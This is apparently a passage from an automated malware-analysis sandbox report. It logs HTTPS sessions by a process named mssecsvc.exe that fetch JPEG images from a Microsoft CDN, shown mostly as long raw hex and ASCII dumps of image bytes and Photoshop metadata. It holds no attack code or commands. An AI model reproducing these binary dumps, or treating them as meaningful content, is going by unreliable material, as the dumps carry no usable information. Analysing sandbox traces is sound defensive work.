n)?3_3{x-O~q)b8{_ZJ*G}5?ooS47o`b6o5O5RvO/ynj%eyZl9"{XdShRy\|6,>>RIlrZt=Q3?[
2022-07-21 02:34:44 UTC	5064	IN	Data Raw: 99 ff 00 13 0b af 99 1e f2 df ef ec e8 bb 3f e9 98 5e b5 8d 08 c7 9a a5 3a 72 f2 5f d7 f5 d0 55 23 ef 7b c3 fc 27 e2 49 ae 35 5d 4a cb ed 1e 5c 8e 8f 1a 69 fe 5e cd 93 33 ed 6f 9b f8 ff 00 fd aa ed f4 d4 7d 37 ec f7 0d 2c 71 fd 8d fe ca 97 12 7f ae f9 be 55 54 ac fd 1d ac 26 b1 b2 bf b7 fb 3c 90 43 f3 a5 e4 9f 26 cf 55 ac 8f 0c 6a 17 fe 22 f1 26 a5 6e bf 68 b7 b4 fd ed f3 fd b7 64 c9 23 fe 1f 2b 7f 4a 9a d1 55 b9 e5 15 ca a3 b9 bc 65 ca 6a 25 87 9d a0 dc 9f b3 7d a3 ec 73 b6 fb 3f 93 7b ee 7d cb fe ed 64 4d e3 2b b9 a4 b2 f2 b4 d9 36 5c cf f2 49 1f fc 7b 49 6e c9 f3 2c 9f dd d8 fc 6f ad 7b ef b5 de 47 f6 7d 2e e7 cc 82 e5 3f d2 ad e4 8f 64 d0 22 fa b3 7f e3 b5 16 ab 6e 9a de 9b ab 5c 5b c9 6f 65 a7 42 8a 89 67 f7 36 3e ff 00 99 9f fd e6 fe 1c 51 47 93 fe Data Ascii: ?^:r_U#{'I5]J\i^3o}7,qUT&<C&Uj"&nhd#+JUej%}s?{}dM+6\I{In,o{G}.?d"n\[oeBg6>QG
2022-07-21 02:34:44 UTC	5072	IN	Data Raw: ed 6b 6b 2f f5 8f 72 e9 07 99 e5 a2 3e c5 fe 2d bf 77 6d 3b fb 35 2e 6d e3 b7 b7 f2 ee 27 85 fe d5 3f da 37 bb c6 ff 00 c5 16 ea 8a de 4f b7 69 da 6d ba c9 1d c2 42 8f be 4b 8f ee 37 1b 7a 7f 72 ba 7d dd 2f d3 42 39 79 49 ee 75 27 bc 8e c6 f7 cb f3 23 ba 9f 67 ee f6 7f 0b ff 00 4a d1 d1 ee 61 d5 fc 31 73 2c 52 79 70 27 9b fe 91 24 7b ff 00 e5 af a5 73 fa 97 fa 26 9b f6 25 96 4d 90 f9 49 6b 1f f7 f7 3e e6 65 5f ef 1f bb 57 fc 13 31 75 fe cd 49 3f e2 63 0a 3b cf 1f fc f4 4e 5b e6 c7 15 9d 4a 51 54 79 a1 d1 fe 06 d4 e5 ef 72 9c de a8 d6 96 fa 7d cd d4 f2 db c7 25 9f cf fb cf e0 4f b9 b9 71 cf 3d ab ad d5 2e 9b ec 36 d7 b0 79 7e 5c 28 88 96 f2 7c e9 27 c9 ff 00 8f 7c d5 ca f8 92 ce de c2 cb 56 54 b6 8e 4d 3e 6f 29 12 4f 33 7a 6c 5f 99 b7 0a d2 b8 d3 9e e3 c3 Data Ascii: kk/r>-wm;5.m'?7OimBK7zr}/B9yIu'#gJa1s,Ryp'${s&%MIk>e_W1uI?c;N[JQTyr}%Oq=.6y~\(\|'\|VTM>o)O3zl_
2022-07-21 02:34:44 UTC	5088	IN	Data Raw: 7f a4 48 ee 9f 2f 56 6f e3 ff 00 3c 55 8b fb 64 bb d2 6f 6c e0 f2 e3 9d 13 e4 b8 ff 00 7b a3 7f b5 f3 56 ee dc f1 72 30 25 b6 b3 96 19 24 b2 79 3f eb 8c 71 ff 00 7f fd af f6 4d 4b f6 3f 3b 56 ff 00 9e 68 88 c8 f2 7d cf 33 6f f1 0f f8 0d 50 b7 be 7f 32 2f dd c7 1e a3 6d b7 7f dc f9 36 a7 ca ea 3f f6 5a 7e 9d 73 12 db db 2c ff 00 7e fd db 7c 7f 3b c3 26 ef 4e 3e 5c d6 72 8c 8d 4d 2d 12 f2 68 6c a5 4b 59 3e c6 9b db 65 c4 7f 27 98 8c 9f 75 d6 aa 5d 42 82 38 e7 4b 28 e4 ba 85 fc cf b4 7f 07 cc 83 f7 7f 87 bd 32 df 5a fb 1f 95 60 f1 fd 9e fa d9 fe 78 e4 fb 9b 3f de 1f 77 15 a1 0c 3f c7 6b e5 c9 75 bf 7f 97 71 26 c4 f7 fb bf d4 56 32 bc 25 7e e5 73 7b a6 3c d0 ff 00 a6 c9 6b 2d cf 99 6b f2 fe ee 3f ef b7 55 ff 00 be ab aa f0 dc 9f e8 f2 d9 4f f6 7b 87 f9 b7 fe Data Ascii: H/Vo<Udol{Vr0%$y?qMK?;Vh}3oP2/m6?Z~s,~\|;&N>\rM-hlKY>e'u]B8K(2Z`x?w?kuq&V2%~s{<k-k?UO{
2022-07-21 02:34:44 UTC	5104	IN	Data Raw: 9f a0 ff 00 6d 68 e2 3b 5d 4e e6 4b cd 39 21 8a 47 b7 f2 ff 00 d7 a3 7c 8a db 9f 9e 29 9e 2a b9 b4 d4 bc 31 7b 6e 92 47 6f e4 c1 f6 54 bc 92 df 7a 48 8a ff 00 fa 11 a6 dc 6b a9 a2 e9 37 3f db 57 32 5c 5d 23 c1 e7 5b c7 1e c8 63 f9 fa ed f6 ad ff 00 26 1f 16 4f f6 ab 79 2e 24 b5 44 d8 f2 47 b1 fe 7d fb 76 88 fa 6d db f7 ab b2 52 70 a9 1a d2 5a 5f 75 b1 1f dd 89 8f f0 86 17 f0 a4 b2 59 6a 1e 65 e6 95 e4 f9 ff 00 6c 93 e7 4d ff 00 c5 b7 fb 8b 57 7c 49 73 69 fd ad 25 bf ee e4 fb 35 d7 9e 92 47 fc 1b b9 cb 2f f0 e6 aa 78 7f 55 86 3d 7a 38 b5 7b 68 f7 a3 b7 93 71 1f c9 e6 75 51 f2 9a ce 4b 5b 7d 63 52 bd d5 74 d3 24 97 d6 ce df bb f3 36 4d 3e ef ee ff 00 77 eb 4a 51 75 31 32 ad 53 4d 37 e9 72 39 bd de 53 12 1f 0e 7d ba ce f5 6f 6e 63 93 ce db 74 91 fd c9 9e 1d Data Ascii: mh;]NK9!G\|)*1{nGoTzHk7?W2\]#[c&Oy.$DG}vmRpZ_uYjelMW\|Isi%5G/xU=z8{hquQK[}cRt$6M>wJQu12SM7r9S}onct
2022-07-21 02:34:44 UTC	5112	IN	Data Raw: f6 c7 79 a2 df 6f 24 7f 22 22 a7 01 6b 6a 1f 3a e2 49 15 fc cb 79 f6 7c 92 7f cb 1d 9f dd fc 7f f1 da 78 a9 ca 7c b3 52 b3 b1 8c 63 cb ee c8 65 ce cb c9 23 49 7c bb c7 85 d7 7f 97 f7 27 ff 00 be ab 02 6f 35 b5 a9 34 fb af f8 f5 f3 bf d1 bc c9 36 3c 7b 53 78 f9 96 ba 5b c8 5e 1b 7f b4 79 71 ef b6 dd 3c f1 ff 00 1f f7 7e 5f ef 54 57 da 6b b4 76 d7 11 79 77 9e 72 6c f2 ff 00 e7 9c dd 1b 68 fe 17 f7 ac e8 d4 51 fe b6 64 4a 25 4d 8f fd 9b bf fe 5b a3 ae cf ef fe 3f 5a 65 82 3c 71 c7 14 52 c9 6e ee 8f fb b8 f6 3f de 4e 37 05 a7 e8 b7 e9 36 95 65 2c 56 fe 6c 89 0e c7 8e 4f bf b1 5f e5 ff 00 7a b1 fe d3 10 b9 8e 58 bc c9 37 ba fe ef e7 df 1f ce 4a b1 f9 bf 9f fb 35 a4 63 26 e5 12 09 9a 1b 7d 36 e2 f6 2b c8 ed e4 b5 87 6d f3 dc 49 1f c9 bd 7f f8 8a 7d 9b ed b9 bd Data Ascii: yo$""kj:Iy\|x\|Rce#I\|'o546<{Sx[^yq<~_TWkvywrlhQdJ%M[?Ze<qRn?N76e,VlO_zX7J5c&}6+mI}
2022-07-21 02:34:44 UTC	5128	IN	Data Raw: cb 92 3f 25 a3 4f 33 ef ff 00 c0 7f ad 6f ee c5 df 64 44 83 52 bc b6 69 23 7b 5f 2e 3b a8 5f e4 8e 4f 9f f8 3e 64 c1 fb bf 2d 57 b0 85 ed e3 fb 5a 79 71 ba 3e f4 fe 3f 3f fd d4 3f d6 9b a9 58 43 75 a7 c5 2b 7e ee 09 ad 77 bd c7 df f9 ff 00 de ff 00 76 96 c6 c3 ce b7 8e 54 fd dc 1f f3 ef ff 00 3c 25 db f7 55 bf 8d 76 ff 00 1d 55 a3 1a 64 7f 78 4b 1b 77 86 38 be cb 73 1c 90 7d ab 7b f9 7f 3a 6f ff 00 81 7d da 76 bd 0f d9 ed ad ae 1b f7 96 a8 8a 8f f7 37 be e7 ff 00 6a a7 86 fd 23 b8 fe ca 6b 6f dc 43 3a ce 97 16 fb e1 77 f9 37 6d df fc 2a 17 d6 93 54 f0 e4 33 69 f7 b6 bf 69 8e de 34 83 ed 56 bf df df fa fc d4 af fb c8 f3 ff 00 48 be 5f e5 2b cd 0a 7f 68 de bf 97 24 71 be d4 f3 3c bd fb d3 67 df fc 2a 19 ac 52 6b 2f 29 3c bf 3f fe 79 c7 ff 00 2d 3f cf 6a bd Data Ascii: ?%O3odDRi#{_.;_O>d-WZyq>???XCu+~wvT<%UvUdxKw8s}{:o}v7j#koC:w7mT3ii4VH_+h$q<gRk/)<?y-?j
2022-07-21 02:34:44 UTC	5144	IN	Data Raw: e3 5f e0 da cb fe cb 2e 56 b3 2f 34 b4 d4 ad e5 d2 f4 bf 32 37 b3 4f b5 7f 1f ef 36 bf ca be 8f ef 5d 0e b1 0d 9a e8 97 1a 34 ba 95 bd cd f7 92 b3 dd 5b c7 ff 00 2e 8e bf ea d5 97 f8 d9 bf be b5 d0 f9 17 b3 6d 5e df 97 71 47 9b de 92 2b 68 9a 3c d6 b6 37 37 1a ad 95 bc 9a 6e a0 ef 62 fe 64 89 e7 3b fd ff 00 33 cb fe 1f 9a b9 8f f8 46 f5 55 d4 b5 2d 62 cb 4d 92 5d 37 49 78 27 4f 33 e4 49 ed 1b e4 8c 65 be e3 79 95 dd ea d6 83 c4 df d9 3a ee a5 6b 1d bc 17 53 45 fe 87 65 26 c4 92 de d9 3e 7f 2e 55 f9 f7 17 fe 1f f8 10 aa fa f7 8b 20 d2 b4 db 69 6d b4 48 e4 f3 a6 ba b5 4b 7b 9b 87 9a 67 b7 6e 52 66 52 71 fb bf e0 6f ef 26 69 53 ad 3e 6f 76 37 72 d1 ae 8b bf 5f 91 d1 2a 71 fb 52 b2 30 3c 4f e3 07 3e 2c b9 94 de c9 79 a9 5c cc ae ff 00 6d 91 f6 6f 5f 93 66 f5 Data Ascii: _.V/427O6]4[.m^qG+h<77nbd;3FU-bM]7Ix'O3Iey:kSEe&>.U imHK{gnRfRqo&iS>ov7r_*qR0<O>,y\mo_f
2022-07-21 02:34:44 UTC	5151	IN	Data Raw: bf 32 f9 7f 46 fb bf 37 dd ae 9b c3 7e 24 9a 1d 5b 4d bd b8 d4 ae 2e 75 1b f4 58 12 4b 89 13 7e f5 f9 be 6e df fb 35 5e 2a 12 95 1b 53 f3 f9 9d 74 aa 47 ed 1e 87 ad 69 bf 6f d0 64 96 ea 58 ee 24 f9 1f cb f2 f6 24 68 c9 f7 76 7f bd 5c 85 fd ca 36 b7 14 5f 69 fb 44 1b 37 c1 67 24 8f f7 db 2a ff 00 ee ad 6f 78 83 55 7f ed e8 9e de 3f b3 41 0a 37 fa 65 b7 cf e4 4a bf df 5f ee d7 1f e2 cd fe 26 d4 b4 d9 e2 8e 38 f5 19 2e 9a 04 92 49 37 bf cc 9f c7 ff 00 01 e7 71 af 0f 05 4a 5f 6f 66 9f c8 ca a4 a2 5d b2 85 ef e3 92 de d6 48 ff 00 b5 5d d5 13 ed b2 6c 48 ff 00 0f ef 1f 5e 95 5e 6d 9e 11 b9 d4 a5 ba b6 92 3d 9f bf 48 e3 f9 d3 7a fe ef cb fd df 0a bf 7b fd ee b5 76 fb 4b f2 f4 af b0 4b 27 99 bd 36 4d 71 27 cf e6 6e 7f f3 f3 56 06 9d ad 5b df ea 3f 62 ff 00 97 ef Data Ascii: 2F7~$[M.uXK~n5^StGiodX$$hv\6_iD7g$oxU?A7eJ_&8.I7qJ_of]H]lH^^m=Hz{vKK'6Mq'nV[?b
2022-07-21 02:34:44 UTC	5167	IN	Data Raw: 62 d8 da fe ef e4 91 f6 7c ed e9 54 b4 ef 13 5c be a5 25 be b9 14 71 fc ed fd 9f 1f 97 f7 13 67 1b 4f f7 9e b4 fc 58 97 39 b9 b2 b2 b2 92 37 49 97 fd 1e e3 ee 6f e7 fe fa f9 7e ee 69 2f b5 08 7c 43 67 6d 2c 16 d1 ff 00 68 c7 ba 38 6d ee 3e 44 f9 bf da ac 23 28 cf de 71 d1 ab 7a 7f c3 f5 23 94 e7 6c 66 87 fe 13 ab 98 af 2d bf 7f 73 6b f6 e7 8f e7 ff 00 44 45 4e ff 00 ed 6d fe 3a ba da d2 8d 36 de c2 29 3e cc 9a b2 34 1e 67 fc f7 89 bf e9 a7 f3 35 16 a1 1d e4 3e 2c 8a 2b 7f f4 c7 bc 44 82 f6 48 fe e2 3a a7 ef 21 91 fa fe 15 63 c5 b7 37 fa 46 9b a4 e9 b6 52 49 1d ad b6 a1 ff 00 1e ff 00 26 ff 00 3b 66 3f ef 81 5d b2 51 a9 38 79 a5 d7 b1 74 e2 5f fe c5 b6 b1 f0 c5 cd 84 b2 c7 71 b3 66 c9 3e ff 00 97 13 7f 0a b7 f7 47 7a ab 26 89 60 b7 da 6a e8 ba 97 99 3f f6 Data Ascii: b\|T\%qgOX97Io~i/\|Cgm,h8m>D#(qz#lf-skDENm:6)>4g5>,+DH:!c7FRI&;f?]Q8yt_qf>Gz&`j?
2022-07-21 02:34:44 UTC	5183	IN	Data Raw: ed 3c f6 f2 49 f2 48 8d fc 2b f4 fb b8 aa 3e 28 d7 21 5f 18 45 7f 3f fc 4a 92 cf 4b 4b 1b 5b 3b 7d 93 24 ff 00 21 de cd b8 7d ff 00 9b f8 aa cd f4 70 f8 83 4d 89 1a da 38 df ec be 47 97 24 9b 12 ed 17 f8 98 af de da cb 9f ad 29 45 73 d3 ad 35 be af fa fe bf 03 5a 9c bf 0c 48 34 1b c8 6c 34 df ed 29 7c cb 74 df 17 fa 1d c6 c7 fb bf 3b 14 7f f6 fe 4c 1f bb f7 ab 13 c4 90 c5 73 6d 7b 15 bc 9e 5f da 77 3b c9 24 9b d2 4d df 7b 62 b7 f7 17 8e 2b 5b 52 b9 f3 fe 18 59 5a af ee ef b4 f8 57 c8 92 4f b9 22 2f 6c ff 00 1f f0 e3 35 83 1d e4 5a 75 ae a5 7b 71 63 1f fa 9f 3d 24 8e 37 fe 2f 9b e6 e7 e4 5f f6 ab aa 8c 7d e9 54 5b f3 5a c7 3c bf 94 e9 7c 0f 73 ff 00 13 2b 68 a5 b9 8f c8 77 f2 21 b7 b9 8f e7 4d bf 79 15 bf b9 f2 d6 96 bd f6 bb 3d 5f ce ba f2 e4 74 9b e7 93 Data Ascii: <IH+>(!_E?JKK[;}$!}pM8G$)Es5ZH4l4)\|t;Lsm{_w;$M{b+[RYZWO"/l5Zu{qc=$7/_}T[Z<\|s+hw!My=_t
2022-07-21 02:34:44 UTC	5191	IN	Data Raw: f8 0e 56 b8 f9 56 92 02 6d 36 77 be b1 92 d6 e2 59 2e 2c 61 db b2 3f 33 e4 83 fd a5 ff 00 81 77 fe 21 52 f8 4f ce 96 ea 5f 22 f6 38 9d 1f fe 3e 3c cd 9e 63 af 21 7f da 5d b5 89 0d e7 d9 ee 2d a5 97 f7 88 9b 92 6f b9 fb cf ca ba 0d 1e ce 6f b4 c9 71 2f fc 7f 24 1b e0 92 3f f9 69 ff 00 d9 6d a8 ad 1e 58 cb cc d2 32 f8 64 45 7e f0 ea 5a b5 be c8 ff 00 b3 ee 9d d5 e0 fe 3f 2d db ef 22 ff 00 e3 d5 5e e2 e2 f3 cc 92 eb fe 78 ec 4f ef f9 9f 95 5b 96 2f 36 39 3e d1 6d 6f aa c1 33 be ff 00 b4 6f 74 df df e5 ff 00 0a 66 9d 35 bd c5 be 9a 91 49 fe ba 0f 21 24 93 7a 27 bf cb 53 1b 28 5f b0 7c 5e f1 a7 ad 69 29 34 76 d3 5a db 49 f6 5f b2 ef 79 23 de e9 f2 f5 ff 00 80 fa d6 17 86 75 8b 49 e6 8a de e2 e6 3d 42 d5 f6 fe f2 ce e1 ff 00 70 9f fd 6a db 92 ea f3 48 b5 b6 b5 Data Ascii: VVm6wY.,a?3w!RO_"8><c!]-ooq/$?imX2dE~Z?-"^xO[/69>mo3otf5I!$z'S(_\|^i)4vZI_y#uI=BpjH
2022-07-21 02:34:44 UTC	5207	IN	Data Raw: 9f bc 66 ff 00 64 fa 01 b5 aa f6 8b e2 4f f8 43 3c 37 e1 bd 76 d3 cb 8e ee 4f b4 5a bc 71 ec 99 1e 25 ff 00 96 32 46 a3 29 bf ef ee f4 a4 bd d4 2e 6f 3c db ab ab 99 2f 20 9a 1f 22 f6 4b 8f 9d e0 45 ce d8 13 be d1 b7 9a e4 ac f4 bb 3b 1f 11 c7 2d ad b7 da 35 1f b9 f6 7f 33 e4 9e 16 e7 76 7f bc 3b 57 7c 21 0a 91 94 26 b4 ec b6 db 6f eb d4 c3 da 7b 39 73 47 56 77 be 2c 56 d6 2f a3 b8 82 ca 3b 2b 17 78 bf b4 2c ec be e6 fd 9f c0 bf dd af 1f d4 ad b4 8d 2f c6 52 7e ef ed 31 bf fa eb 8b 79 3c 9f bd ff 00 2d 93 fc ee af 5a 93 49 bc 87 49 b9 f2 a4 b8 bc b4 b6 f3 7c e9 3e e7 cf f7 a2 8f 77 4e 2b cb f4 7b b4 9b 53 dd 77 e5 de a6 a4 9b e1 b7 f2 f7 bc 97 1d 15 57 6f fb 4d 5b e5 d7 8c 65 ca ee 92 b6 87 25 5f 7a 5c d2 dd 9d 86 ad a5 a5 cd 9d ab dc 49 e6 5d 5c a3 3b c9 Data Ascii: fdOC<7vOZq%2F).o</ "KE;-53v;W\|!&o{9sGVw,V/;+x,/R~1y<-ZII\|>wN+{SwWoM[e%_z\I]\;
2022-07-21 02:34:44 UTC	5223	IN	Data Raw: 30 93 96 fd 86 7d 8f 64 9e 7d c7 ef 27 93 74 10 f9 7f 27 97 bb 1c ff 00 b7 f4 aa b7 76 b7 3a bd bc 92 c5 24 9e 47 92 df ec 6c db 91 fa ff 00 0d 14 56 50 93 e5 e6 ea 73 4b e1 28 2f 95 79 65 1d ea ff 00 c7 a2 4f 2d ad ac 9e 66 cd 9f 26 f6 f9 1b 9d be a7 f2 ad cf b3 cd 35 cd ed a4 b1 de 7d b9 12 28 1e ce 49 36 3e cf e1 5f f7 3f d8 a2 8a ec c4 2e 4b db a7 f9 8e 1b 14 b5 4f f5 7f 6a b7 f2 ed a4 77 f2 1e 3f 2d ff 00 77 bb e4 f9 bf d9 ae 46 5b 6f b0 f8 a2 e6 d6 28 ee 2e 3c e7 de 91 c7 1a 6c d9 c6 ed df ed 0e df 85 14 57 4e 13 66 bc 9f e0 70 cb e2 36 2f 9b cc 8e e6 eb cc 8f 66 fd ff 00 c6 8e 89 fc 3b 6a f4 76 09 35 c4 a8 fe 64 93 ba 6f b5 92 4d fb e3 db fd f5 1e ab b6 8a 2b 19 b7 18 e9 e6 52 8a 96 e6 24 da d4 36 f7 32 4d 71 6d e6 5f 5d 7c 89 e6 6f 4f 33 e4 da ad Data Ascii: 0}d}'t'v:$GlVPsK(/yeO-f&5}(I6>_?.KOjw?-wF[o(.<lWNfp6/f;jv5doM+R$62Mqm_]\|oO3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	50546	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:44 UTC	217	OUT	GET /cms/api/am/imageFileData/RE4RDT5?ver=690d HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-21 02:34:44 UTC	370	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4RDT5?ver=690d Last-Modified: Sat, 02 Jul 2022 20:56:38 GMT X-Source-Length: 1688764 X-Datacenter: northeu X-ActivityId: 7409884e-841a-4437-bd93-45fabf32d2b5 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1688764 Cache-Control: public, max-age=411847 Expires: Mon, 25 Jul 2022 20:58:51 GMT Date: Thu, 21 Jul 2022 02:34:44 GMT Connection: close
2022-07-21 02:34:44 UTC	370	IN	Data Raw: ff d8 ff e1 19 a1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 31 3a 31 36 20 31 36 3a 34 30 3a 34 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:01:16 16:40:428"
2022-07-21 02:34:44 UTC	386	IN	Data Raw: 4d 81 41 98 fa bc 85 ba ff 00 0d 8d 62 94 bf 7a 55 fe 2f fe 8c f0 7d 42 d7 1c bb 4b c0 74 bd d2 d2 4c c8 27 9d 7f 79 53 22 fb 2c 2e ac 8b 1b 58 dd 6d dc 7d 21 b5 ac 87 ff 00 9b 5f b5 69 65 50 e3 9f 6b 1a dd ce f5 1c 1a 0c 00 ef 77 f2 fd e8 8f 6e 0d 6d 6b 2d 3c 49 dd c1 03 56 97 bb db b3 e8 ed 56 a3 20 00 d3 a3 9b 94 88 ce 5a 6b 65 cf 6b 5b 61 06 58 fd cd 97 b4 48 73 35 db 1b 9d f4 bd 4f a6 ad 62 e2 e2 db 7d 6d 7b c0 ad e4 6e fc d7 06 03 36 c3 9e dd 9e a3 2b dd ed fe c7 f3 88 e6 ef d9 cf 66 45 14 8f b6 d3 a5 7b 83 5e d0 08 6e dd fb 4f a9 eb 7e 6b ff 00 33 63 d3 e6 df 76 63 32 b2 71 eb b8 d5 8b e9 9c 8f 55 bb 9d 5e f3 fc c7 af 59 7b 9f 4d 97 3d ff 00 cf 7e 92 c4 0c 89 f0 07 f4 af ae cc 76 4e cd 2b 3a 73 05 f3 87 fa 4c 8a 5c 48 1a 11 61 fc c6 d6 da bd 4d 96 Data Ascii: MAbzU/}BKtL'yS",.Xm}!_iePkwnmk-<IVV Zkek[aXHs5Ob}m{n6+fE{^nO~k3cvc2qU^Y{M=~vN+:sL\HaM
2022-07-21 02:34:44 UTC	402	IN	Data Raw: 30 37 2d 32 36 54 31 30 3a 34 38 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 38 30 31 38 37 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 38 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 Data Ascii: 07-26T10:48:15-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-538801872_1920x1080.jpg saved 2016-07-26T10:48:36-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscr
2022-07-21 02:34:44 UTC	479	IN	Data Raw: 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 31 39 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 31 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 44 3a 5c 57 6f 72 6b 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 5f 4c 41 54 45 53 54 74 72 61 6e 73 66 65 72 2d 4e 65 77 43 6f 6d 70 75 74 65 72 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 Data Ascii: ndscape.psd saved 2016-07-26T18:19:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-07-26T18:21:59-07:00 File D:\Work\Win10-Lockscreens\_LATESTtransfer-NewComputer\Templates\Lockscreen_1920x1080_La
2022-07-21 02:34:44 UTC	662	IN	Data Raw: 6e 64 32 5c 4d 53 52 65 77 61 72 64 73 5f 41 63 71 75 69 73 69 74 69 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 39 39 31 37 30 34 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 38 54 31 30 3a 31 36 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 63 71 75 69 73 69 74 69 6f 6e 5c 52 6f 75 6e 64 32 5c 4d 53 52 65 77 61 72 64 73 5f 41 63 71 75 69 73 69 74 69 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 30 33 37 38 32 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 38 54 31 30 3a 31 37 3a 32 39 2d Data Ascii: nd2\MSRewards_Acquisition_GettyImages-479917040_1920x1080.jpg saved 2016-09-18T10:16:37-07:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Acquisition\Round2\MSRewards_Acquisition_GettyImages-504037822_1920x1080.jpg saved 2016-09-18T10:17:29-
2022-07-21 02:34:44 UTC	678	IN	Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 30 38 3a 33 36 3a 32 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 52 41 57 53 5c 5f 43 48 4f 53 45 4e 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 39 36 38 35 32 30 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 30 38 3a 33 37 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d Data Ascii: _Landscape.psd opened 2016-11-16T08:36:26-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\RAWS\_CHOSEN\MIT-WinterEntertainment_GettyImages-649685207_1920x1080.jpg saved 2016-11-16T08:37:38-08:00 File C:\Users\v-
